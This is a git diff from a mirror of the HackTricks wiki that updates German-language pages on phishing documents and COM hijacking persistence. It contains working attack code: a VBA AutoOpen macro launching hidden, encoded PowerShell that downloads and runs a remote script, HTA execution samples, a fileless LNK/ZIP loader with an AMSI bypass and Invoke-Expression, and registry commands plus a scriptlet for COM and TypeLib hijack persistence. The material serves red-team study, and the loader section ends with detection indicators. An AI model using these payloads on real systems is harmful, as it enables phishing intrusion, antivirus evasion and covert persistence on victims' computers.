mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
b795e5b351
commit
2c071baaa4
@ -1,40 +1,40 @@
|
|||||||
# Phishing-Dateien & Dokumente
|
# Phishing Dateien & Dokumente
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Office-Dokumente
|
## Office-Dokumente
|
||||||
|
|
||||||
Microsoft Word führt eine Datenvalidierung der Datei durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifizierung der Datenstruktur gemäß dem OfficeOpenXML-Standard. Wenn während der Identifizierung der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
|
Microsoft Word führt eine Validierung der Datei-Daten durch, bevor eine Datei geöffnet wird. Die Datenvalidierung erfolgt in Form der Identifikation der Datenstrukturen gemäß dem OfficeOpenXML-Standard. Falls während der Identifikation der Datenstruktur ein Fehler auftritt, wird die analysierte Datei nicht geöffnet.
|
||||||
|
|
||||||
In der Regel verwenden Word-Dateien, die Makros enthalten, die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateierweiterung ändert und dennoch die Fähigkeit zur Ausführung von Makros beibehält.\
|
In der Regel verwenden Word-Dateien mit Makros die Erweiterung `.docm`. Es ist jedoch möglich, die Datei umzubenennen, indem man die Dateiendung ändert, und dennoch ihre Fähigkeit zur Ausführung von Makros beizubehalten.\
|
||||||
Zum Beispiel unterstützt eine RTF-Datei aus Designgründen keine Makros, aber eine in RTF umbenannte DOCM-Datei wird von Microsoft Word verarbeitet und kann Makros ausführen.\
|
Zum Beispiel unterstützt eine RTF-Datei von vornherein keine Makros, aber eine als RTF umbenannte DOCM-Datei wird von Microsoft Word behandelt und kann Makros ausführen.\
|
||||||
Die gleichen internen Abläufe und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint usw.).
|
Die gleichen Interna und Mechanismen gelten für alle Software der Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||||
|
|
||||||
Sie können den folgenden Befehl verwenden, um zu überprüfen, welche Erweiterungen von einigen Office-Programmen ausgeführt werden:
|
Sie können den folgenden Befehl verwenden, um zu prüfen, welche Erweiterungen von bestimmten Office-Programmen ausgeführt werden:
|
||||||
```bash
|
```bash
|
||||||
assoc | findstr /i "word excel powerp"
|
assoc | findstr /i "word excel powerp"
|
||||||
```
|
```
|
||||||
DOCX-Dateien, die auf eine entfernte Vorlage verweisen (Datei – Optionen – Add-Ins – Verwalten: Vorlagen – Gehe zu), können ebenfalls Makros „ausführen“.
|
DOCX-Dateien, die auf eine Remote-Vorlage verweisen (File –Options –Add-ins –Manage: Templates –Go) und macros enthalten, können macros ebenfalls “ausführen”.
|
||||||
|
|
||||||
### Externe Bildladung
|
### Externes Laden von Bildern
|
||||||
|
|
||||||
Gehe zu: _Einfügen --> Schnellbausteine --> Feld_\
|
Gehe zu: _Insert --> Quick Parts --> Field_\
|
||||||
_**Kategorien**: Links und Verweise, **Feldnamen**: includePicture, und **Dateiname oder URL**:_ http://\<ip>/whatever
|
_**Kategorien**: Links and References, **Feldnamen**: includePicture, und **Filename or URL**:_ http://<ip>/whatever
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
### Makros Backdoor
|
### Macros Backdoor
|
||||||
|
|
||||||
Es ist möglich, Makros zu verwenden, um beliebigen Code aus dem Dokument auszuführen.
|
Es ist möglich, macros zu verwenden, um arbitrary code aus dem Dokument auszuführen.
|
||||||
|
|
||||||
#### Autoload-Funktionen
|
#### Autoload-Funktionen
|
||||||
|
|
||||||
Je häufiger sie sind, desto wahrscheinlicher wird sie die AV erkennen.
|
Je häufiger sie sind, desto wahrscheinlicher erkennt AV sie.
|
||||||
|
|
||||||
- AutoOpen()
|
- AutoOpen()
|
||||||
- Document_Open()
|
- Document_Open()
|
||||||
|
|
||||||
#### Makros Codebeispiele
|
#### Macros Code Examples
|
||||||
```vba
|
```vba
|
||||||
Sub AutoOpen()
|
Sub AutoOpen()
|
||||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||||
@ -64,16 +64,16 @@ Dim proc As Object
|
|||||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||||
proc.Create "powershell <beacon line generated>
|
proc.Create "powershell <beacon line generated>
|
||||||
```
|
```
|
||||||
#### Manuell Metadaten entfernen
|
#### Metadaten manuell entfernen
|
||||||
|
|
||||||
Gehe zu **Datei > Informationen > Dokument überprüfen > Dokument überprüfen**, was den Dokumentinspektor öffnet. Klicke auf **Überprüfen** und dann auf **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
|
Gehe zu **Datei > Info > Dokument prüfen > Dokument prüfen**, wodurch der Dokumentinspektor geöffnet wird. Klicke **Prüfen** und dann **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
|
||||||
|
|
||||||
#### Doc-Erweiterung
|
#### DOC-Erweiterung
|
||||||
|
|
||||||
Wenn du fertig bist, wähle im Dropdown-Menü **Speichern unter** den Typ **Word 97-2003 `.doc`**.\
|
Wenn fertig, wähle das Dropdown **Speichern als Typ**, ändere das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
|
||||||
Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein **Stigma** **um** die makroaktivierte **`.docm`**-Erweiterung gibt (z. B. hat das Miniaturansichts-Icon ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc`-Erweiterung der beste Kompromiss**.
|
Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der macro-enabled **`.docm`** Erweiterung gibt (z. B. das Thumbnail-Symbol hat ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` Erweiterung der beste Kompromiss**.
|
||||||
|
|
||||||
#### Bösartige Makro-Generatoren
|
#### Malicious Macros Generators
|
||||||
|
|
||||||
- MacOS
|
- MacOS
|
||||||
- [**macphish**](https://github.com/cldrn/macphish)
|
- [**macphish**](https://github.com/cldrn/macphish)
|
||||||
@ -81,9 +81,9 @@ Mach das, weil du **keine Makros in einer `.docx`** speichern kannst und es ein
|
|||||||
|
|
||||||
## HTA-Dateien
|
## HTA-Dateien
|
||||||
|
|
||||||
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Es generiert die Benutzeroberfläche und wird als "vollständig vertrauenswürdige" Anwendung ausgeführt, ohne die Einschränkungen des Sicherheitsmodells eines Browsers.
|
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und wird als eine "voll vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
|
||||||
|
|
||||||
Eine HTA wird mit **`mshta.exe`** ausgeführt, das typischerweise **zusammen mit** **Internet Explorer** **installiert** wird, wodurch **`mshta` von IE abhängig ist**. Wenn es deinstalliert wurde, können HTAs nicht ausgeführt werden.
|
Eine HTA wird mittels **`mshta.exe`** ausgeführt, das typischerweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht mehr ausgeführt werden.
|
||||||
```html
|
```html
|
||||||
<--! Basic HTA Execution -->
|
<--! Basic HTA Execution -->
|
||||||
<html>
|
<html>
|
||||||
@ -138,11 +138,11 @@ var_func
|
|||||||
self.close
|
self.close
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## NTLM-Authentifizierung erzwingen
|
## Erzwingen von NTLM-Authentifizierung
|
||||||
|
|
||||||
Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung "aus der Ferne" zu erzwingen**, zum Beispiel könnten Sie **unsichtbare Bilder** in E-Mails oder HTML hinzufügen, auf die der Benutzer zugreifen wird (sogar HTTP MitM?). Oder senden Sie dem Opfer die **Adresse von Dateien**, die eine **Authentifizierung** nur durch **Öffnen des Ordners** **auslösen**.
|
Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** zu erzwingen, zum Beispiel durch das Einfügen von **unsichtbaren Bildern** in E-Mails oder HTML, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder indem man dem Opfer die **Adresse von Dateien** schickt, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** **auslösen**.
|
||||||
|
|
||||||
**Überprüfen Sie diese Ideen und mehr auf den folgenden Seiten:**
|
**Siehe diese Ideen und mehr auf den folgenden Seiten:**
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -154,11 +154,62 @@ Es gibt mehrere Möglichkeiten, **NTLM-Authentifizierung "aus der Ferne" zu erzw
|
|||||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### NTLM-Relay
|
### NTLM Relay
|
||||||
|
|
||||||
Vergessen Sie nicht, dass Sie nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM-Relay-Angriffe** **durchführen** können:
|
Nicht vergessen: man kann nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM relay attacks** durchführen:
|
||||||
|
|
||||||
- [**NTLM-Relay-Angriffe**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||||
- [**AD CS ESC8 (NTLM-Relay zu Zertifikaten)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||||
|
|
||||||
|
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||||
|
|
||||||
|
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIP nach einem eindeutigen Marker gespeichert ist, und die .lnk diesen vollständig im Speicher extrahiert und ausführt.
|
||||||
|
|
||||||
|
Typischer Ablauf, implementiert durch den .lnk PowerShell-Einzeiler:
|
||||||
|
|
||||||
|
1) Finde das originale ZIP in gängigen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
|
||||||
|
2) Lese die ZIP-Bytes und finde einen hardcodierten Marker (z.B. xFIQCV). Alles nach dem Marker ist das eingebettete PowerShell-Payload.
|
||||||
|
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken.
|
||||||
|
4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||||
|
5) Die nächste Stufe deobfuskieren (z.B. alle #-Zeichen entfernen) und sie im Speicher ausführen.
|
||||||
|
|
||||||
|
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe zu extrahieren und auszuführen:
|
||||||
|
```powershell
|
||||||
|
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||||
|
$paths = @(
|
||||||
|
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
|
||||||
|
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
|
||||||
|
)
|
||||||
|
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
|
||||||
|
if(-not $zip){ return }
|
||||||
|
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
|
||||||
|
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
|
||||||
|
if($idx -lt 0){ return }
|
||||||
|
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
|
||||||
|
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||||
|
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||||
|
Invoke-Expression $code
|
||||||
|
```
|
||||||
|
Hinweise
|
||||||
|
- Die Zustellung missbraucht häufig vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads einschränken (liefert harmlose ZIPs basierend auf IP/UA).
|
||||||
|
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Festplattenartefakte zu minimieren.
|
||||||
|
|
||||||
|
Persistence, die in derselben Kette eingesetzt wird
|
||||||
|
- COM TypeLib hijacking des Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, den payload automatisch neu startet. Details und einsatzbereite Befehle hier:
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
Hunting/IOCs
|
||||||
|
- ZIP-Dateien, die den ASCII marker string (z. B. xFIQCV) enthalten, der an die Archivdaten angehängt wurde.
|
||||||
|
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Köderdokument zu öffnen.
|
||||||
|
- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||||
|
- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet werden.
|
||||||
|
|
||||||
|
## Referenzen
|
||||||
|
|
||||||
|
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||||
|
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -2,25 +2,25 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### Suche nach nicht existierenden COM-Komponenten
|
### Suche nach nicht vorhandenen COM-Komponenten
|
||||||
|
|
||||||
Da die Werte von HKCU von den Benutzern geändert werden können, könnte **COM Hijacking** als **persistente Mechanismen** verwendet werden. Mit `procmon` ist es einfach, nach COM-Registrierungen zu suchen, die nicht existieren und die ein Angreifer erstellen könnte, um persistente Zugriffe zu ermöglichen. Filter:
|
Da die Werte von HKCU vom Benutzer geändert werden können, kann **COM Hijacking** als **persistenter Mechanismus** genutzt werden. Mit `procmon` ist es einfach, nach COM-Registry-Einträgen zu suchen, die nicht existieren und die ein Angreifer zur Persistenz anlegen könnte. Filter:
|
||||||
|
|
||||||
- **RegOpenKey**-Operationen.
|
- **RegOpenKey** Operationen.
|
||||||
- wo das _Ergebnis_ **NAME NOT FOUND** ist.
|
- wo der _Result_ **NAME NOT FOUND** ist.
|
||||||
- und der _Pfad_ mit **InprocServer32** endet.
|
- und der _Path_ mit **InprocServer32** endet.
|
||||||
|
|
||||||
Sobald Sie entschieden haben, welche nicht existierende COM-Komponente Sie nachahmen möchten, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie sich entscheiden, eine COM-Komponente nachzuahmen, die alle paar Sekunden geladen wird, da dies übertrieben sein könnte._
|
Sobald Sie entschieden haben, welchen nicht vorhandenen COM Sie nachahmen wollen, führen Sie die folgenden Befehle aus. _Seien Sie vorsichtig, wenn Sie einen COM nachahmen, der alle paar Sekunden geladen wird, da das übertrieben sein könnte._
|
||||||
```bash
|
```bash
|
||||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||||
```
|
```
|
||||||
### Hijackbare Task Scheduler COM-Komponenten
|
### Übernehmbare Task Scheduler COM-Komponenten
|
||||||
|
|
||||||
Windows-Aufgaben verwenden benutzerdefinierte Trigger, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
|
Windows Tasks verwenden Custom Triggers, um COM-Objekte aufzurufen, und da sie über den Task Scheduler ausgeführt werden, ist es einfacher vorherzusagen, wann sie ausgelöst werden.
|
||||||
|
|
||||||
<pre class="language-powershell"><code class="lang-powershell"># Zeige COM CLSIDs
|
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||||
$Tasks = Get-ScheduledTask
|
$Tasks = Get-ScheduledTask
|
||||||
|
|
||||||
foreach ($Task in $Tasks)
|
foreach ($Task in $Tasks)
|
||||||
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
|
|||||||
|
|
||||||
if ($Task.Principal.GroupId -eq $usersGroup)
|
if ($Task.Principal.GroupId -eq $usersGroup)
|
||||||
{
|
{
|
||||||
Write-Host "Aufgabenname: " $Task.TaskName
|
Write-Host "Task Name: " $Task.TaskName
|
||||||
Write-Host "Aufgabenpfad: " $Task.TaskPath
|
Write-Host "Task Path: " $Task.TaskPath
|
||||||
Write-Host "CLSID: " $Task.Actions.ClassId
|
Write-Host "CLSID: " $Task.Actions.ClassId
|
||||||
Write-Host
|
Write-Host
|
||||||
}
|
}
|
||||||
@ -43,15 +43,15 @@ Write-Host
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
# Beispielausgabe:
|
# Sample Output:
|
||||||
<strong># Aufgabenname: Beispiel
|
<strong># Task Name: Example
|
||||||
</strong># Aufgabenpfad: \Microsoft\Windows\Beispiel\
|
</strong># Task Path: \Microsoft\Windows\Example\
|
||||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||||
# [mehr wie das vorherige...]</code></pre>
|
# [more like the previous one...]</code></pre>
|
||||||
|
|
||||||
Wenn Sie die Ausgabe überprüfen, können Sie eine auswählen, die **jedes Mal ausgeführt wird, wenn sich ein Benutzer anmeldet**.
|
Anhand der Ausgabe kannst du beispielsweise einen auswählen, der **bei jeder Benutzeranmeldung** ausgeführt wird.
|
||||||
|
|
||||||
Jetzt suchen Sie nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU. Normalerweise werden Sie feststellen, dass der Wert in HKCU nicht existiert.
|
Wenn du nun nach der CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** und in HKLM und HKCU suchst, wirst du normalerweise feststellen, dass der Wert in HKCU nicht existiert.
|
||||||
```bash
|
```bash
|
||||||
# Exists in HKCR\CLSID\
|
# Exists in HKCR\CLSID\
|
||||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||||
@ -72,6 +72,64 @@ Name Property
|
|||||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||||
```
|
```
|
||||||
Dann können Sie einfach den HKCU-Eintrag erstellen, und jedes Mal, wenn der Benutzer sich anmeldet, wird Ihr Backdoor aktiviert.
|
Dann kannst du einfach den HKCU-Eintrag erstellen und jedes Mal, wenn sich der Benutzer anmeldet, wird deine backdoor ausgeführt.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## COM TypeLib Hijacking (script: moniker persistence)
|
||||||
|
|
||||||
|
Type Libraries (TypeLib) definieren COM-Interfaces und werden über `LoadTypeLib()` geladen. Wenn ein COM-Server instanziiert wird, kann das OS auch die zugehörige TypeLib laden, indem es Registrierungs-Schlüssel unter `HKCR\TypeLib\{LIBID}` abfragt. Wird der TypeLib-Pfad durch einen **moniker** ersetzt, z. B. `script:C:\...\evil.sct`, führt Windows das Scriptlet aus, wenn die TypeLib aufgelöst wird – was eine stealthy persistence ergibt, die ausgelöst wird, wenn häufig genutzte Komponenten berührt werden.
|
||||||
|
|
||||||
|
Dies wurde beim Microsoft Web Browser control beobachtet (häufig geladen von Internet Explorer, Apps, die WebBrowser einbetten, und sogar `explorer.exe`).
|
||||||
|
|
||||||
|
### Schritte (PowerShell)
|
||||||
|
|
||||||
|
1) Ermittle die TypeLib (LIBID), die von einer häufig genutzten CLSID verwendet wird. Beispiel-CLSID, die oft von malware chains missbraucht wird: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||||
|
```powershell
|
||||||
|
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||||
|
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||||
|
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||||
|
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||||
|
```
|
||||||
|
2) Weise den pro-Benutzer TypeLib-Pfad auf ein lokales scriptlet mit dem `script:`-Moniker (keine Administratorrechte erforderlich):
|
||||||
|
```powershell
|
||||||
|
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||||
|
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||||
|
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||||
|
```
|
||||||
|
3) Legen Sie eine minimale JScript `.sct` ab, die Ihr primary payload neu startet (z. B. eine `.lnk`, die von der initial chain verwendet wird):
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<scriptlet>
|
||||||
|
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
|
||||||
|
<script language="JScript">
|
||||||
|
<![CDATA[
|
||||||
|
try {
|
||||||
|
var sh = new ActiveXObject('WScript.Shell');
|
||||||
|
// Re-launch the malicious LNK for persistence
|
||||||
|
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
|
||||||
|
sh.Run(cmd, 0, false);
|
||||||
|
} catch(e) {}
|
||||||
|
]]>
|
||||||
|
</script>
|
||||||
|
</scriptlet>
|
||||||
|
```
|
||||||
|
4) Auslösen – Das Öffnen von IE, einer Anwendung, die die WebBrowser control einbettet, oder sogar routinemäßige Explorer-Aktivitäten laden die TypeLib und führen das scriptlet aus, wodurch deine Kette bei logon/reboot wieder scharf gemacht wird.
|
||||||
|
|
||||||
|
Bereinigung
|
||||||
|
```powershell
|
||||||
|
# Remove the per-user TypeLib hijack
|
||||||
|
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
|
||||||
|
# Delete the dropped scriptlet
|
||||||
|
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||||
|
```
|
||||||
|
Hinweise
|
||||||
|
- Sie können dieselbe Logik auf andere häufig verwendete COM-Komponenten anwenden; ermitteln Sie zuerst immer die tatsächliche `LIBID` aus `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||||
|
- Auf 64-bit-Systemen können Sie außerdem den Unterschlüssel `win64` für 64-bit-Consumer befüllen.
|
||||||
|
|
||||||
|
## Quellen
|
||||||
|
|
||||||
|
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||||
|
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user